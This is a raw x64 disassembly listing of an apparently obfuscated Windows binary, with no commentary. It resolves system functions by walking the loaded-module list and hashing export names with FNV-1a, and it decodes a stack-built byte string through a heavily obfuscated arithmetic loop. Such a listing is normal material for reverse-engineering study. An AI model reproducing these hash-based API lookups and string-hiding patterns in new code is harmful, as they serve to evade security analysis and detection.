cmp rcx, r8
jne 0x14015a40a
cmp edx, esi
jne 0x14015a4f9
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015a4f9
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015a4f9
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015a480
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015a475
cmp edx, r14d
je 0x14015a496
test r11d, r11d
jne 0x14015a460
jmp 0x14015a4f9
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14015a50e
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14015a50e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015a4d8
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14015a4ca
jmp 0x14015a4ed
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14015a4e0
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a50b
cmp qword [rbx + 0x30], r13
jne 0x14015a3da
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x14015a683
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015a592
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015a585
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015a576
cmp edx, esi
jne 0x14015a667
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14015a667
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14015a667
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14015a5ec
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14015a5e1
cmp edx, r14d
je 0x14015a602
test r9d, r9d
jne 0x14015a5cc
jmp 0x14015a667
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14015a67c
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14015a67c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14015a644
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14015a636
jmp 0x14015a65a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14015a64d
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a679
cmp qword [rbx + 0x30], r13
jne 0x14015a546
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14015a6f4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14015a6dc
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14015a6c0
cmp edx, 0x610c0de3
je 0x14015a74a
mov r8, qword [r8]
cmp r8, r10
je 0x14015a6ea
cmp qword [r8 + 0x30], r13
jne 0x14015a6a6
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x14015a745
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x14015a729
cmp ecx, 0xe463da3c
je 0x14015a750
add r9d, edi
jmp 0x14015a70d
mov r8, qword [r8 + 0x30]
jmp 0x14015a6ed
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14015a8e3
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015a7f0
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015a7e3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015a7d4
cmp edx, esi
jne 0x14015a8c2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14015a8c2
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14015a8c2
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015a844
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015a839
cmp edx, r14d
je 0x14015a85a
test r10d, r10d
jne 0x14015a824
jmp 0x14015a8c2
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14015a8d7
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14015a8d7
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14015a8b5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x14015a891
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x14015a8a8
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015a8d4
cmp qword [rbx + 0x30], r13
jne 0x14015a7a4
mov r10, r13
mov qword [0x1404fba00], r10
mov edi, 1
lea r9, [rbp + 0x11c0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14015aa62
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14015a974
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14015a967
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14015a958
cmp edx, esi
jne 0x14015aa46
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14015aa46
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14015aa46
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14015a9c8
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015a9bd
cmp edx, r14d
je 0x14015a9de
test r11d, r11d
jne 0x14015a9a8
jmp 0x14015aa46
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14015aa5b
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14015aa5b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14015aa39
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x14015aa15
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x14015aa2c
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015aa58
cmp qword [rbx + 0x30], r13
jne 0x14015a928
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
cmp byte [0x1404fba42], r13b
jne 0x14015fb59
mov byte [rbp + 0xeb0], 0x9b
mov byte [rbp + 0xeb1], 0x59
mov byte [rbp + 0xeb2], 0x80
mov byte [rbp + 0xeb3], 0x5b
mov byte [rbp + 0xeb4], 0xa0
mov byte [rbp + 0xeb5], 0x45
mov byte [rbp + 0xeb6], 0xbb
mov byte [rbp + 0xeb7], 0x47
mov byte [rbp + 0xeb8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xeb9], 0x41
mov byte [rbp + 0xeba], 0xaf
mov byte [rbp + 0xebb], 0x43
mov byte [rbp + 0xebc], 0xde
mov byte [rbp + 0xebd], Ordinal_79
mov byte [rbp + 0xebe], 0xdd
mov byte [rbp + 0xebf], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xec0], 0xac
mov byte [rbp + 0xec1], Ordinal_79
mov byte [rbp + 0xec2], 0x86
mov byte [rbp + 0xec3], Ordinal_79
mov byte [rbp + 0xec4], 0x99
mov byte [rbp + 0xec5], 0x75
mov byte [rbp + 0xec6], 0x98
mov byte [rbp + 0xec7], 0x77
mov byte [rbp + 0xec8], __WSAFDIsSet
mov byte [rbp + 0xec9], WSACleanup
mov byte [rbp + 0xeca], 0xef
mov byte [rbp + 0xecb], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xecc], 0xe8
mov byte [rbp + 0xecd], 0x7d
mov byte [rbp + 0xece], 0xe2
mov byte [rbp + 0xecf], 0x7f
mov byte [rbp + 0xed0], 0x9c
mov byte [rbp + 0xed1], 0x79
mov byte [rbp + 0xed2], 0xbb
mov byte [rbp + 0xed3], 0x7b
mov byte [rbp + 0xed4], 0xf4
mov byte [rbp + 0xed5], 0x65
mov byte [rbp + 0xed6], 0xf6
mov byte [rbp + 0xed7], 0x67
mov byte [rbp + 0xed8], 0xac
mov byte [rbp + 0xed9], 0x61
mov byte [rbp + 0xeda], 0x83
mov byte [rbp + 0xedb], 0x63
mov byte [rbp + 0xedc], 0xf0
mov byte [rbp + 0xedd], WSASetLastError
mov byte [rbp + 0xede], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xedf], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xee0], Ordinal_143
mov byte [rbp + 0xee1], WSAGetLastError
mov byte [rbp + 0xee2], 0xa7
mov byte [rbp + 0xee3], WSASetLastError
mov byte [rbp + 0xee4], 0x88
mov byte [rbp + 0xee5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xee6], 0xfe
mov byte [rbp + 0xee7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xee8], 0xfd
mov byte [rbp + 0xee9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xeea], 0x80
mov byte [rbp + 0xeeb], reloc.WS2_32.dll_send
mov byte [rbp + 0xeec], 0xfd
mov byte [rbp + 0xeed], Ordinal_32
mov byte [rbp + 0xeee], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xeef], Ordinal_32
mov byte [rbp + 0xef0], 0xfa
mov byte [rbp + 0xef1], Ordinal_27
mov byte [rbp + 0xef2], 0xf3
mov byte [rbp + 0xef3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xef4], __WSAFDIsSet
mov byte [rbp + 0xef5], 5
mov byte [rbp + 0xef6], 6
mov byte [rbp + 0xef7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xef8], xmm0
mov qword [rbp + 0xf08], rax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
mov r12d, Ordinal_41
mov r10, r13
mov esi, 1
cmp r10, 0x60
jae 0x14015b6e3
movzx r8d, byte [rbp + r10 + 0xeb0]
mov edx, r8d
cmp rbx, r10
ja 0x14015b6da
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14015ad00
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x2c
jmp 0x14015ad37
je 0x14015b658
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14015b609
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14015b5a9
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14015b583
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x14015b6d1
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14015ad6d
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x14015ada1
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14015b53c
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14015b518
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14015b4f5
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14015b4d2
mov r14d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14015b1a7
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14015b184
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14015b170
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14015b14d
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14015b12a
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14015b107
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14015b0e0
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14015b6ae
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14015b68c
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14015aecc
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14015b013
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14015afe4
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14015adb4
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14015afd0
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14015afa9
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14015af86
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14015af5f
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14015af38
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14015af14
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14015aeee
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14015adb4
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x14015ada7
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x14015b55a
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x14015b57e
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14015b5a1
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14015b5f9
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14015b499
movabs rdx, 0x8d8ec284548ad238
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14015b625
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14015b1e4
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xeb0], dil
jmp 0x14015b684
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x14015b471
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x14015b2b3
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x14015b449
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x14015b358
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x14015b006
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x14015b55a
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14015b625
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14015b499
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x14015b5f9
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14015b5a1
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14015b527
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14015b55a
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x14015b1ce
lea rdx, [r10 + r11]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14015b035
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015b1fc
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r14d
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14015b675
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015b228
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x14015b499
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015b254
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14015b5f6
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14015b283
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
add dil, dl
jmp 0x14015b5cb
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x14015b035
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x14015b55a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015b2df
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x14015b55a
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015b2fc
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14015b527
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015b329
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x14015b5f9
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14015b072
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r14b
jmp 0x14015b499
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015b375
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14015b1e4
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015b3a1
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14015b625
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14015b3ce
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x14015b5f6
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x14015b3eb
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14015b5b8
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x14015b418
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14015b5a1
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015b0ae
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14015b57e
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xeb0]
sub dil, al
sub dil, 0x20
jmp 0x14015b5c5
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xeb0]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xeb0], al
add r9, rsi
add rax, r9
sub r10, rax
jmp 0x14015b625
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14015b5f9
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x14015b5cb
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14015b57e
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xeb0], cl
add r9, rsi
jmp 0x14015b5a1
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, rsi
jmp 0x14015b684
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0xeb0], dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14015b684
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xeb0], cl
add rbx, rsi
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14015b675
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xeb0]
add rax, r9
add r10, rax
add r10, rsi
jmp 0x14015acb4
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r12b
jmp 0x14015acac
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14015ac96
lea rdx, [rbp + 0x16a10c0]
jmp 0x14015b6ea
lea rdx, [rbp + 0x6bcc4c]
jmp 0x14015b6ea
lea rdx, [rbp + 0xeb0]
lea rcx, [rbp + 0x198]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2a70]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015b71f
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r15d, 0x40
mov r9d, r15d
lea r14d, [r15 - 0x3e]
mov r8d, r14d
lea rcx, [rbp + 0x2a70]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2a70]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2a70]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
